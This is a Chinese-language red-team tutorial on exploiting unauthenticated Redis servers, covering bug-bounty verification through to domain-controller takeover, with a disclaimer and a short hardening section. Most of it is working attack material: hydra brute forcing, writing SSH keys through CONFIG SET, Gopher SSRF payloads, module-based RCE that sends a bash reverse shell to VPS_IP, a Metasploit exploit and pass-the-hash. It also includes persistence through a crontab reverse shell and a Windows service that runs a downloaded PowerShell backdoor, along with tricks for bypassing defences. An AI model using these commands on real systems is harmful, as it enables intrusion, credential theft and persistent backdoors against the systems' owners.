Redis 未授权访问漏洞全解析:从原理到突破
Redis 未授权访问漏洞全解析:从原理到红队域控突破(含 SRC 挖掘、工具链与护网实战)
免责声明
- 本文所述所有渗透测试技术、工具、命令及实战案例,仅适用于已获得目标系统 / 网络所有者书面授权的测试场景(如企业内部安全评估、甲方委托的红队测试、个人合法拥有的实验环境)。
- 任何组织或个人若未取得明确书面授权,擅自将本文内容用于对第三方系统 / 网络的扫描、探测、攻击等行为,均属于非法网络活动,涉嫌违反《中华人民共和国网络安全法》《中华人民共和国刑法》(第 285 条 “非法侵入计算机信息系统罪”、第 286 条 “破坏计算机信息系统罪”)及《网络安全审查办法》等法律法规,作者对此类非法行为不承担任何责任,相关法律后果由行为人自行承担。
- 本文分享的渗透测试技术,核心目的是帮助读者 “理解攻击原理,进而构建更有效的防御体系”—— 渗透测试的本质是 “以攻促防”,而非 “指导攻击”。
- 网络安全行业的核心伦理是 “保护而非破坏”:所有测试行为需严格控制在授权范围内,测试结束后需完整恢复目标系统状态(如删除后门、清理日志、还原配置),严禁窃取、篡改、泄露目标系统的敏感数据(如用户信息、商业机密、核心代码),严禁破坏目标系统的正常运行。
- 网络安全是国家安全的重要组成部分,合法合规是每一位渗透测试工程师的职业底线。
- 您一旦阅读并使用本文内容,即视为已充分理解并同意本免责声明的全部条款。
作为护网红队,Redis 未授权访问漏洞是内网渗透中 “低成本、高收益” 的核心漏洞 —— 它源于 Redis 默认配置的安全缺陷(无密码认证、绑定 0.0.0.0),攻击者可直接连接 Redis 服务,通过写入文件、主从复制 RCE 等方式获取服务器权限,甚至横向渗透至域控。在 SRC 中,Redis 未授权因验证简单(扫描端口 + 连接测试)、危害明确(高危),是快速产出的优质方向;在护网行动中,它更是 “从 DMZ 区突破到核心区” 的关键跳板,常与 SSRF、端口转发等技术结合形成致命攻击链。本文将从原理出发,系统化拆解漏洞成因、SRC 挖掘方法、核心工具,结合实战与护网案例,阐述红队如何利用 Redis 未授权实现从单点突破到域控控制的全流程。
一、Redis 未授权访问漏洞核心原理:“配置缺陷导致的权限失控”
Redis(Remote Dictionary Server)是开源的高性能键值对数据库,默认使用 6379 端口。未授权访问漏洞的本质是Redis 服务因配置不当,允许未认证用户直接连接并执行任意操作,核心成因可归结为三类配置缺陷,三者满足其一即可触发漏洞:
1. 核心成因:三类致命配置
(1)无密码认证(默认配置缺陷)
Redis 默认未启用密码认证(requirepass
参数未设置),攻击者无需输入密码,通过redis-cli
或其他客户端即可直接连接服务:
# 攻击者直接连接目标Redis,无需密码
redis-cli -h 192.168.1.10 -p 6379
192.168.1.10:6379> set test 123 # 可正常执行写操作,证明未授权
OK
(2)绑定所有网卡(暴露风险)
Redis 默认配置bind 0.0.0.0
,意味着服务监听所有网卡的 6379 端口,不仅内网可访问,外网也能直接连接(若防火墙未拦截 6379 端口)。这种配置将内网服务直接暴露到公网,为攻击者提供了远程攻击入口。
(3)弱密码认证(形同虚设)
部分管理员虽配置了密码(requirepass
),但密码过于简单(如123456
、redis
、password
),攻击者通过字典爆破即可破解,本质仍属于 “未授权级” 的访问控制缺陷:
# 使用redis-brute工具爆破弱密码
hydra -P /usr/share/wordlists/rockyou.txt 192.168.1.10 redis -s 6379
# 爆破成功后,用密码连接
redis-cli -h 192.168.1.10 -p 6379 -a 123456
2. 漏洞危害:从文件写入到服务器受控
Redis 未授权访问的危害随攻击者操作逐步升级,核心危害场景按严重程度排序如下:
危害类型 | 具体操作 | 红队价值 |
---|---|---|
敏感信息泄露 | 执行keys * 查看所有键、get [key] 读取数据(如数据库密码、用户哈希) | 获取内网凭证,为横向渗透奠基 |
文件写入 | 通过config set dir [路径] +config set dbfilename [文件名] 写入文件(如 SSH 公钥、webshell) | 直接获取服务器权限(Linux 优先用此方法) |
主从复制 RCE | 利用 Redis 主从复制机制,将恶意.so 文件加载为模块,执行系统命令 | 跨系统(Linux/Windows)通用,可直接获取 shell |
数据库篡改 | 清空数据(flushall )、篡改业务数据(如修改订单金额) | 破坏业务可用性,制造混乱 |
端口转发 | 利用 Redis 的slaveof 命令建立主从连接,将目标服务器作为跳板转发流量 | 突破内网隔离,访问更深层网段 |
3. 与其他漏洞的关联(攻击链价值)
Redis 未授权极少单独存在,常与其他漏洞结合形成攻击链,扩大影响范围:
- SSRF + Redis 未授权:通过 SSRF 漏洞(如 Web 服务的 URL 参数可控),让服务器代替攻击者连接内网 Redis(
gopher://192.168.1.10:6379/_set%20test%20123
),突破外网无法直接访问内网 Redis 的限制; - Redis 未授权 + 密码复用:获取 Redis 中存储的域管理员密码(如
get domain_admin_pass
),用于登录域控或其他内网主机; - Redis 未授权 + 内核漏洞:通过 Redis 获取低权限 shell 后,利用
Dirty Cow
(Linux)、MS16-032
(Windows)等内核漏洞提权至 root/System。
二、SRC 中快速挖掘 Redis 未授权访问漏洞:实战流程
SRC 中 Redis 未授权的挖掘核心是 “端口扫描定位目标→连接测试验证漏洞→文件写入证明危害”,流程简单高效,10 分钟内可完成单目标验证:
1. 第一步:筛选高风险目标(优先测试)
Redis 未授权主要存在于 “暴露 6379 端口 + 配置缺陷” 的资产,需按以下优先级筛选目标:
目标类型 | 筛选条件 | 识别方法 |
---|---|---|
公网暴露资产 | 6379 端口对外开放(防火墙未拦截) | 用 nmap 批量扫描 SRC 资产的 6379 端口:nmap -p 6379 -iL src-targets.txt -oG redis-result.txt |
内网映射资产 | 虽为内网 IP,但通过端口映射 / VPN 暴露到外网 | 查看 SRC 资产标签,筛选 “DMZ 区”“内网映射” 资产 |
老旧 Redis 版本 | Redis < 5.0.0(主从复制 RCE 更容易触发) | 连接后执行info server 查看版本:redis-cli -h 192.168.1.10 -p 6379 info server |
关键提示:SRC 中部分资产虽开放 6379 端口,但可能是 “伪装服务”(如非 Redis 服务占用 6379),需进一步连接验证。
2. 第二步:验证漏洞存在性(核心步骤)
通过 “端口探测→连接测试→权限验证” 三步确认是否存在未授权访问,工具以redis-cli
(原生客户端)和nmap
为主:
(1)端口探测:确认 6379 端口开放且为 Redis 服务
# 方法1:用nmap探测端口并识别服务
nmap -p 6379 -sV 192.168.1.10 # -sV:探测服务版本
# 若输出“6379/tcp open redis Redis 5.0.7”→确认是Redis服务# 方法2:用telnet测试端口连通性
telnet 192.168.1.10 6379
# 若连接成功并显示“Redis version 5.0.7”→端口开放
(2)连接测试:验证是否无需密码 / 弱密码
# 尝试无密码连接
redis-cli -h 192.168.1.10 -p 6379
# 若直接进入交互界面(显示“192.168.1.10:6379>”)→未授权访问成立# 若提示“NOAUTH Authentication required”→存在密码,尝试弱密码爆破
# 用hydra爆破(字典用rockyou.txt)
hydra -P /usr/share/wordlists/rockyou.txt 192.168.1.10 redis -s 6379
# 爆破成功后,用密码连接:redis-cli -h 192.168.1.10 -p 6379 -a [密码]
(3)权限验证:确认可执行写操作
连接成功后,执行写操作(如set
命令)验证是否有完整权限:
192.168.1.10:6379> set test_key "src_vuln_proof" # 写入测试键
OK # 返回OK→有写权限,漏洞可利用
192.168.1.10:6379> get test_key # 读取测试键,验证写入成功
"src_vuln_proof"
3. 第三步:证明漏洞危害(SRC 提交核心依据)
仅连接成功不构成高危漏洞,需证明 “可对服务器造成实质影响”,优先选择以下两种证明方式(无破坏性,符合 SRC 规则):
(1)读取敏感信息(推荐)
执行info
命令读取 Redis 配置与系统信息,或keys *
查看存储的键,截图包含敏感信息的响应:
192.168.1.10:6379> info # 读取Redis信息,包含服务器IP、版本、系统类型
# Server
redis_version:5.0.7
redis_git_sha1:00000000
redis_git_dirty:0
redis_build_id:abc123def456
redis_mode:standalone
os:Linux 3.10.0-1160.el7.x86_64 x86_64 # 系统类型为Linux
arch_bits:64
multiplexing_api:epoll
atomicvar_api:atomic-builtin
gcc_version:4.8.5
process_id:1234
run_id:abc123def4567890abc123def4567890
tcp_port:6379
uptime_in_seconds:86400
uptime_in_days:1
hz:10
configured_hz:10
lru_clock:12345678
executable:/usr/local/redis/bin/redis-server
config_file:/etc/redis.conf # Redis配置文件路径(可后续尝试读取)192.168.1.10:6379> keys * # 查看所有键,若存在“db_pass”“user_info”等键→敏感信息
1) "db_pass"
2) "user_info"
3) "test_key"
(2)写入测试文件(无破坏性)
在临时目录(如/tmp
)写入无害文件,证明可控制服务器文件系统:
# 1. 设置写入目录为/tmp(临时目录,不影响业务)
192.168.1.10:6379> config set dir /tmp
OK# 2. 设置文件名(如src_test.txt)
192.168.1.10:6379> config set dbfilename src_test.txt
OK# 3. 写入测试内容(键为test,值为src_vuln_proof)
192.168.1.10:6379> set test "src_vuln_proof"
OK# 4. 保存到文件
192.168.1.10:6379> save
OK# 5. 验证文件存在(若能通过其他方式访问,如SSH或webshell,截图文件内容)
# (SRC中若无其他权限,可仅提交Redis执行过程截图,证明写入能力)
4. SRC 提交技巧
- 标题明确:标注 “【高危】192.168.1.10:6379 Redis 存在未授权访问漏洞,可写入文件获取权限”;
- 步骤清晰:包含 “端口扫描→无密码连接→执行写操作” 的完整命令与响应截图;
- 危害说明:强调 “可写入 SSH 公钥获取 root 权限,或通过主从复制执行命令,危害服务器安全”;
- 修复建议:附配置加固方案(如设置密码、绑定内网 IP),提升报告专业性。
三、Redis 未授权访问漏洞利用工具链:从连接到 RCE
红队利用 Redis 未授权的工具需覆盖 “连接测试→文件写入→命令执行→横向渗透” 全流程,以下为核心工具及实战命令:
1. 基础连接与信息收集工具
(1)redis-cli(原生客户端,必备)
功能:Redis 官方客户端,用于连接服务、执行命令,是漏洞验证与利用的基础工具。
安装:Linux 默认自带,Windows 需下载Redis 安装包。
实战命令:
# 1. 无密码连接
redis-cli -h 192.168.1.10 -p 6379 # -h:目标IP,-p:端口# 2. 有密码连接(已知密码或爆破后)
redis-cli -h 192.168.1.10 -p 6379 -a 123456 # -a:密码# 3. 远程执行命令(无需进入交互界面)
redis-cli -h 192.168.1.10 -p 6379 "set test 123" # 直接执行set命令
redis-cli -h 192.168.1.10 -p 6379 "info server" # 读取服务器信息# 4. 连接内网Redis(通过跳板机端口转发)
# 在跳板机执行端口转发:ssh -L 6379:10.0.0.5:6379 root@192.168.1.10
# 本地连接:redis-cli -h 127.0.0.1 -p 6379
(2)RedisDesktopManager(可视化工具)
功能:图形化 Redis 客户端,适合查看键值对数据、管理 Redis 配置,直观高效。
实战操作:
- 打开工具→点击 “Connect to Redis Server”;
- 输入目标 IP(192.168.1.10)、端口(6379),若有密码则填写;
- 连接成功后,左侧显示所有数据库,右侧可查看 / 编辑键值对(如双击 “db_pass” 键查看数据库密码)。
(3)Hydra(弱密码爆破工具)
功能:针对 Redis 密码进行字典爆破,突破弱密码认证。
实战命令:
# 语法:hydra -P [密码字典] [目标IP] redis -s [端口]
hydra -P /usr/share/wordlists/rockyou.txt 192.168.1.10 redis -s 6379
# 爆破成功后,输出类似:[6379][redis] host: 192.168.1.10 login: redis password: 123456
2. 漏洞利用工具(文件写入 + RCE)
(1)手动命令(写入 SSH 公钥,Linux 专属)
功能:无需工具,通过 Redis 命令写入攻击者的 SSH 公钥到目标服务器的~/.ssh/authorized_keys
,实现无密码登录。
实战步骤:
-
攻击者本地生成 SSH 密钥(若已存在可跳过):
ssh-keygen -t rsa # 一路回车,生成~/.ssh/id_rsa(私钥)和id_rsa.pub(公钥)
-
将公钥内容格式化为 Redis 可写入的字符串(去除换行,添加换行符):
(echo -e "\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n") > redis_ssh_key.txt
-
连接 Redis,写入公钥到目标服务器的
~/.ssh/authorized_keys
:# 连接Redis redis-cli -h 192.168.1.10 -p 6379# 设置写入目录为目标用户的.ssh目录(通常为/root/.ssh或/home/user/.ssh,需先确认用户) 192.168.1.10:6379> config set dir /root/.ssh OK# 设置文件名为authorized_keys(SSH公钥文件) 192.168.1.10:6379> config set dbfilename authorized_keys OK# 读取本地公钥文件并写入Redis(本地执行,非Redis交互界面) cat redis_ssh_key.txt | redis-cli -h 192.168.1.10 -p 6379 -x set ssh_key # -x:从标准输入读取值# 保存到文件 192.168.1.10:6379> save OK
-
无密码 SSH 登录目标服务器:
ssh root@192.168.1.10 # 无需输入密码,直接登录
(2)Gopherus(生成 SSRF 攻击 Payload)
功能:将 Redis 命令转换为gopher://
协议的 Payload,用于通过 SSRF 漏洞间接攻击内网 Redis(突破外网无法直接访问内网的限制)。
实战步骤:
-
安装 Gopherus:
git clone https://github.com/tarunkant/Gopherus.git cd Gopherus python3 gopherus.py
-
选择 “Redis”,输入 Redis 命令(如写入测试键):
1. Redis 2. MySQL 3. Postgres 4. FastCGI Enter Choice: 1 Enter Redis Command (Multiple commands can be separated with ;): set test ssrf_vuln; save
-
生成 Gopher Payload:
Gopher Payload for Redis: gopher://192.168.1.10:6379/_*1%0D%0A$3%0D%0Aset%0D%0A$4%0D%0Atest%0D%0A$8%0D%0Assrf_vuln%0D%0A*1%0D%0A$4%0D%0Asave%0D%0A
-
将 Payload URL 编码后,作为 SSRF 参数值发送(如
http://target.com/ssrf?url=gopher://192.168.1.10:6379/_*1%0D%0A$3%0D%0Aset%0D%0A$4%0D%0Atest%0D%0A$8%0D%0Assrf_vuln%0D%0A*1%0D%0A$4%0D%0Asave%0D%0A
),目标服务器会执行 Redis 命令。
(3)RedisModules-ExecuteCommand(主从复制 RCE 工具)
功能:生成恶意 Redis 模块(.so
文件),通过主从复制机制加载模块,执行系统命令(支持 Linux/Windows,突破写入文件的限制)。
实战步骤(Linux):
-
下载工具并编译恶意模块:
git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand.git cd RedisModules-ExecuteCommand make # 编译生成exp.so(Linux模块)
-
在攻击者 VPS 上启动临时 Redis 服务(作为主节点),加载恶意模块:
# 启动临时Redis服务(端口6380) redis-server --port 6380 --daemonize yes# 连接临时Redis,设置恶意模块 redis-cli -h 127.0.0.1 -p 6380 127.0.0.1:6380> module load ./exp.so # 加载恶意模块 OK 127.0.0.1:6380> config set dir /tmp # 设置临时目录 OK 127.0.0.1:6380> config set dbfilename exp.so OK 127.0.0.1:6380> save OK 127.0.0.1:6380> bgsave # 确保文件保存 Background saving started
-
连接目标 Redis(从节点),建立主从复制并加载恶意模块:
# 连接目标Redis redis-cli -h 192.168.1.10 -p 6379# 设置主节点为攻击者VPS(IP:6380) 192.168.1.10:6379> slaveof VPS_IP 6380 OK# 等待主从同步完成后,执行命令(如反弹shell) 192.168.1.10:6379> system.exec "bash -i >& /dev/tcp/VPS_IP/4444 0>&1"
-
攻击者 VPS 监听端口,接收反弹 shell:
nc -lvp 4444 # 成功接收shell,获取目标服务器权限
(4)Metasploit(Redis 模块,自动化 RCE)
功能:MSF 内置redis_unauth_rce
模块,自动化检测 Redis 未授权并执行命令,适合快速获取 shell。
实战命令:
# 启动MSF
msfconsole# 加载Redis未授权RCE模块
use exploit/multi/misc/redis_unauth_rce# 配置参数
set RHOSTS 192.168.1.10 # 目标IP
set RPORT 6379 # 目标端口
set LHOST VPS_IP # 攻击者VPS IP(反弹shell用)
set LPORT 4444 # 监听端口# 执行攻击
run# 成功后获取meterpreter会话,可执行提权、横向移动等操作
meterpreter > getuid # 查看当前用户权限
meterpreter > sysinfo # 查看系统信息
四、实战与护网中 Redis 未授权访问的深度利用(从服务器到域控)
Redis 未授权在护网中的核心价值是 “作为内网突破的跳板”—— 从 DMZ 区的单点漏洞,扩展到内网多主机控制,最终拿下域控。以下为完整攻击链案例与技巧:
案例:护网中利用 Redis 未授权 + SSRF + 域内横向突破核心区
环境背景
- 护网目标:某企业内网(外网→DMZ 区→办公区→核心区);
- 初始突破点:DMZ 区 Web 服务器(
172.16.1.10
)存在 SSRF 漏洞(http://172.16.1.10/ssrf?url=http://example.com
); - 内网资产:办公区 Redis 服务器(
192.168.1.20:6379
,未授权访问,可访问核心区域控10.0.0.1
); - 目标:获取域控权限,控制核心区。
渗透步骤
阶段 1:通过 SSRF 攻击内网 Redis,获取办公区主机权限
-
生成 Gopher Payload:
用 Gopherus 生成 “写入 SSH 公钥” 的 Redis 命令 Payload(目标
192.168.1.20:6379
):gopher://192.168.1.20:6379/_*1%0D%0A$3%0D%0Aconfig%0D%0A$3%0D%0Aset%0D%0A$3%0D%0Adir%0D%0A$11%0D%0A/root/.ssh%0D%0A*1%0D%0A$3%0D%0Aconfig%0D%0A$3%0D%0Aset%0D%0A$10%0D%0Adbfilename%0D%0A$15%0D%0Aauthorized_keys%0D%0A*1%0D%0A$3%0D%0Aset%0D%0A$7%0D%0Assh_key%0D%0A$222%0D%0Assh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC...(攻击者公钥内容)%0D%0A*1%0D%0A$4%0D%0Asave%0D%0A
-
发送 SSRF 请求:
将 Payload URL 编码后,通过 DMZ 区 Web 的 SSRF 参数发送:
http://172.16.1.10/ssrf?url=gopher://192.168.1.20:6379/_*1%0D%0A$3%0D%0Aconfig%0D%0A$3%0D%0Aset%0D%0A$3%0D%0Adir%0D%0A$11%0D%0A/root/.ssh%0D%0A*1%0D%0A$3%0D%0Aconfig%0D%0A$3%0D%0Aset%0D%0A$10%0D%0Adbfilename%0D%0A$15%0D%0Aauthorized_keys%0D%0A*1%0D%0A$3%0D%0Aset%0D%0A$7%0D%0Assh_key%0D%0A$222%0D%0Assh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC...%0D%0A*1%0D%0A$4%0D%0Asave%0D%0A
-
SSH 登录办公区 Redis 主机:
ssh root@192.168.1.20 # 无密码登录,获取办公区主机权限
阶段 2:从 Redis 主机收集域内凭证,横向渗透
-
读取 Redis 敏感数据:
连接本地 Redis(
127.0.0.1:6379
),获取存储的域用户凭证:redis-cli -h 127.0.0.1 -p 6379 127.0.0.1:6379> keys * 1) "domain_admin" 2) "hr_db_pass" 127.0.0.1:6379> get domain_admin "admin:Domain@2024!" # 域管理员账号密码
-
探测核心区域控:
执行
nmap -p 53,88,389 10.0.0.1
(域控常用端口),确认10.0.0.1
为域控(开放 88 端口 Kerberos 服务)。 -
PTH 横向登录域控:
使用
impacket
工具的psexec
模块,通过哈希传递(PTH)登录域控:# 先将密码转换为NTLM哈希(用hashcat或在线工具) # "Domain@2024!"的NTLM哈希为:A1B2C3D4E5F6A7B8C9D0E1F2A3B4C5D6# PTH登录域控 psexec.py -hashes :A1B2C3D4E5F6A7B8C9D0E1F2A3B4C5D6 domain.com/admin@10.0.0.1
-
获取域控权限:
成功登录域控命令行,执行
whoami
显示domain\admin
,获取核心区控制权,完成护网目标。
护网中 Redis 未授权的核心利用技巧
(1)内网环境适配:应对防火墙与隔离
-
端口转发突破隔离:若目标 Redis 在内网深层(如
10.0.0.5
),通过已控制的 DMZ 主机(172.16.1.10
)做端口转发:# 在DMZ主机执行,将10.0.0.5:6379转发到本地6379端口 ssh -L 6379:10.0.0.5:6379 root@172.16.1.10 # 本地连接:redis-cli -h 127.0.0.1 -p 6379
-
利用主从复制穿透防火墙:若防火墙仅允许 6379 端口的出站连接,将攻击者 VPS 作为主节点,目标 Redis 作为从节点,通过主从复制传递恶意模块,绕过入站限制。
(2)权限提升:从低权限到 root/System
- Linux 提权:通过 Redis 获取
www-data
权限后,利用 SUID 文件(find / -perm -u=s -type f 2>/dev/null
)或内核漏洞(如CVE-2021-4034
)提权至 root; - Windows 提权:通过主从复制 RCE 获取
iusr
权限后,利用ms16-032
、CVE-2020-0787
等漏洞提权至 System。
(3)持久化控制:避免权限丢失
- Linux 持久化:
- 写入 SSH 公钥(
~/.ssh/authorized_keys
),确保重启后仍可登录; - 添加计划任务:
echo "* * * * * root bash -i >& /dev/tcp/VPS_IP/4444 0>&1" >> /etc/crontab
;
- 写入 SSH 公钥(
- Windows 持久化:
- 创建服务:
sc create RedisBackdoor binPath= "cmd /c powershell -nop -c \"IEX (New-Object System.Net.WebClient).DownloadString('http://VPS_IP/backdoor.ps1')\"" start= auto
; - 添加注册表启动项:
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v RedisBackdoor /t REG_SZ /d "C:\Windows\Temp\backdoor.exe"
。
- 创建服务:
五、Redis 未授权访问漏洞的防御与红队绕过技巧
1. 蓝队核心防御措施(彻底根治漏洞)
(1)配置加固(核心)
修改 Redis 配置文件(通常为/etc/redis.conf
或redis.windows.conf
),关键配置如下:
# 1. 绑定内网IP,禁止外网访问(仅允许内网指定IP连接)
bind 127.0.0.1 192.168.1.0/24 # 仅绑定本地回环和内网网段# 2. 设置强密码(至少8位,包含大小写、数字、特殊字符)
requirepass StrongRedisPass@2024!# 3. 启用保护模式(禁止公网访问)
protected-mode yes# 4. 限制Redis用户权限(以低权限用户运行,如redis用户)
# (Linux)useradd -m redis; chown -R redis:redis /usr/local/redis; su - redis -c "redis-server /etc/redis.conf"# 5. 禁用危险命令(重命名或禁用)
rename-command CONFIG "" # 禁用CONFIG命令,防止修改目录和文件名
rename-command SAVE "" # 禁用SAVE命令,防止写入文件
rename-command SLAVEOF "" # 禁用SLAVEOF命令,防止主从复制攻击
rename-command MODULE "" # 禁用MODULE命令,防止加载恶意模块# 6. 限制文件访问范围(Linux)
dir /var/lib/redis # 设置固定数据目录,仅允许写入此目录
appendonly yes # 启用AOF持久化,避免RDB文件被篡改
(2)网络防护
- 防火墙拦截:外部防火墙禁止 6379 端口对外开放;内网防火墙限制仅允许信任 IP(如应用服务器)访问 Redis 端口;
- VPN 访问:若需远程管理 Redis,通过 VPN 连接内网后操作,禁止公网直接访问。
(3)监控与审计
- 日志开启:启用 Redis 日志(
logfile /var/log/redis/redis-server.log
),记录所有连接与命令操作; - 异常监控:监控 6379 端口的异常连接(如公网 IP 连接、大量
CONFIG
/SLAVEOF
命令),触发告警; - 定期检查:每月执行
redis-cli -h 127.0.0.1 -p 6379 info
检查 Redis 配置与权限,排查未授权风险。
2. 红队绕过技巧(应对防御措施)
(1)绕过密码认证
- 密码爆破:针对弱密码(如
redis123
、Admin@123
),用hydra
+ 自定义字典爆破; - 配置文件读取:若能通过其他漏洞(如文件包含、SSRF)读取 Redis 配置文件(
/etc/redis.conf
),直接获取requirepass
后的密码。
(2)绕过命令禁用
- 命令拼接:若
CONFIG
被重命名为CONFIG_123
,尝试猜测重命名后的命令(如CONFIG_123 set dir /tmp
); - 主从复制绕过:若仅禁用
MODULE
命令,仍可通过主从复制同步恶意 RDB 文件,覆盖目标 Redis 数据目录,间接执行命令。
(3)绕过 IP 绑定
- SSRF 代理:利用内网 Web 服务的 SSRF 漏洞,让绑定内网 IP 的 Redis 服务器主动连接攻击者 VPS(如
gopher://127.0.0.1:6379/_set%20test%20123
); - 内网跳板:通过已控制的内网主机(如
192.168.1.10
)作为跳板,连接绑定192.168.1.0/24
的 Redis 服务。
六、总结
Redis 未授权访问漏洞的本质是 “配置安全意识缺失”,其在红队渗透中的核心价值是 “快速突破内网边界,获取高权限入口”—— 从 SRC 中的公网资产验证,到护网中的域控突破,均是红队的 “性价比之王” 漏洞。
红队利用 Redis 未授权的核心思维是 “链化攻击”:
- 入口层:通过端口扫描、SSRF 等方式定位内网 Redis;
- 利用层:根据系统类型选择 “SSH 公钥写入(Linux)” 或 “主从复制 RCE(Windows/Linux)”;
- 横向层:从 Redis 中提取域凭证,通过 PTH、漏洞攻击横向至其他主机;
- 控制层:拿下域控,实现内网全域控制。
重要提示:所有 Redis 漏洞测试必须在合法授权下进行,未经授权的连接与命令执行涉嫌 “非法侵入计算机信息系统”,需自行承担法律责任。